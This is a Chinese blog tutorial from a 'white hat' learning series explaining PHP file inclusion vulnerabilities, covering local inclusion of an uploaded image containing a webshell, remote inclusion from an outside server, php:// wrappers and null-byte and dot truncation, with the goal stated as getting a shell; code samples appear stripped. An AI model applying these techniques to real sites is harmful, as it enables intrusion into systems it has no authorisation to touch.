网站首页 > 博客文章 正文
(图片源于网络,侵删)
PS:又来给大家上干货了,快拿小本本记下来~
手把手入门白帽子系列,全学完就是一个合格的web安全工程师了!
1
什么是文件包含漏洞
本篇介绍的是文件包含漏洞,这也是属于一种非常常见的漏洞类型。
产生的原因是传入的文件名没有经过合理的校验,从而让黑客包含了精心构造的文件最终造成的代码注入。
所以一套源码快速发掘并利用文件包含getshell是这篇要讨论的
主要分为危险函数、本地文件包含、远程文件包含和截断技巧四方面展开。
2
危险函数
include()
include_once()
require()
require_once()
3
文件包含漏洞的脑图
4
脑图本地文件包含
本地文件包含漏洞常用的场景是用户上传头像image.jpg,image.jpg里存在PHP一句话木马,然后我们利用本地文件包含将image.jpg加载进来即可执行一句话命令从而getshell。缺陷代码如下:
程序本意是获取action并引入action里的功能函数,这里我们上传了头像image.jpg,然
后包含进来发现在页面显示了phpinfo的信息:
那么这里上传的头像image.jpg代码改为一句话木马:
使用菜刀成功getshell:
5
远程文件包含
1.普通远程文件包含
条件:allow_url_include=on(默认off)、allow_url_fopen=on
缺陷代码:
然后我们浏览器输入:http://localhost/fileinclude.php?action=http://*.*.*.*/test.txt
其中http://*.*.*.*/test.txt是我自己的服务器,里面的test.txt内容如下:
当然也可以包含一句话木马进一步getshell。
2.有限制远程文件包含
条件:allow_url_include=on
伪协议php://input和php://filter包含
测试发现可以继续愉快的包含了
6
截断技巧
1.PHP%00截断
截断条件:
①PHP版本小于5.3.4,详情请查看[CVE-2006-7243](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-7243)
②magic_quotes_gpc=Off,否则%00这种空字符会被转义为\0
搭建好满足上面两个条件的测试环境后,可以用下面的漏洞代码来测试:
不同之处是这里后面强制加了jpg的后缀,所以需要通过截断的技巧来继续包含
2.多个./截断
截断条件:PHP版本小于5.3
Windows240个.或者./可以截断
测试240个点截断成功如下图:
Linux是2038个/.可以截断,自行搭建环境测试吧~
本篇内容就介绍到这里了,希望对大家有所帮助。
PS:送你套远程监听的教程吧
私信留个4,看见就发给你
推荐阅读
6个月当上web安全工程师 | 手把手入门白帽子(一)
黑客常说SQL注入是什么?手把手入门白帽子 (二)
SQL注入攻击方式及防御方法,手把手入门白帽子 (二)
跨站脚本攻击,附相关学习资源!手把手入门白帽子 (三)
猜你喜欢
- 2024-09-09 在Bug Bounty计划中发现的十大最常见的漏洞
- 2024-09-09 RCE漏洞原理与常见场景(rce漏洞核心payload)
- 2024-09-09 Windows TCP/IP漏洞临时处理方法(windows端口漏洞)
- 2024-09-09 安全漏洞管理方法(安全管理漏洞及采取措施)
- 2024-09-09 教怎样写好一份“漏洞报告”(漏洞报送是什么)
- 2024-09-09 计算机史上最严重漏洞被公开,风险等级严重
- 2024-09-09 2017 OWASP 10大安全漏洞初版提案出炉:新增2大漏洞类型
- 2024-09-09 永恒无限:什么是漏洞扫描?(漏洞扫描怎么做)
- 2024-09-09 漏洞挖掘基础知识简介(漏洞挖掘技术)
- 2024-09-09 十大常见web漏洞——弱口令漏洞(弱口令是高危漏洞吗)
你 发表评论:
欢迎- 最近发表
- 标签列表
-
- powershellfor (55)
- messagesource (56)
- aspose.pdf破解版 (56)
- promise.race (63)
- 2019cad序列号和密钥激活码 (62)
- window.performance (66)
- qt删除文件夹 (72)
- mysqlcaching_sha2_password (64)
- ubuntu升级gcc (58)
- nacos启动失败 (64)
- ssh-add (70)
- jwt漏洞 (58)
- macos14下载 (58)
- yarnnode (62)
- abstractqueuedsynchronizer (64)
- source~/.bashrc没有那个文件或目录 (65)
- springboot整合activiti工作流 (70)
- jmeter插件下载 (61)
- 抓包分析 (60)
- idea创建mavenweb项目 (65)
- vue回到顶部 (57)
- qcombobox样式表 (68)
- vue数组concat (56)
- tomcatundertow (58)
- pastemac (61)
本文暂时没有评论,来添加一个吧(●'◡'●)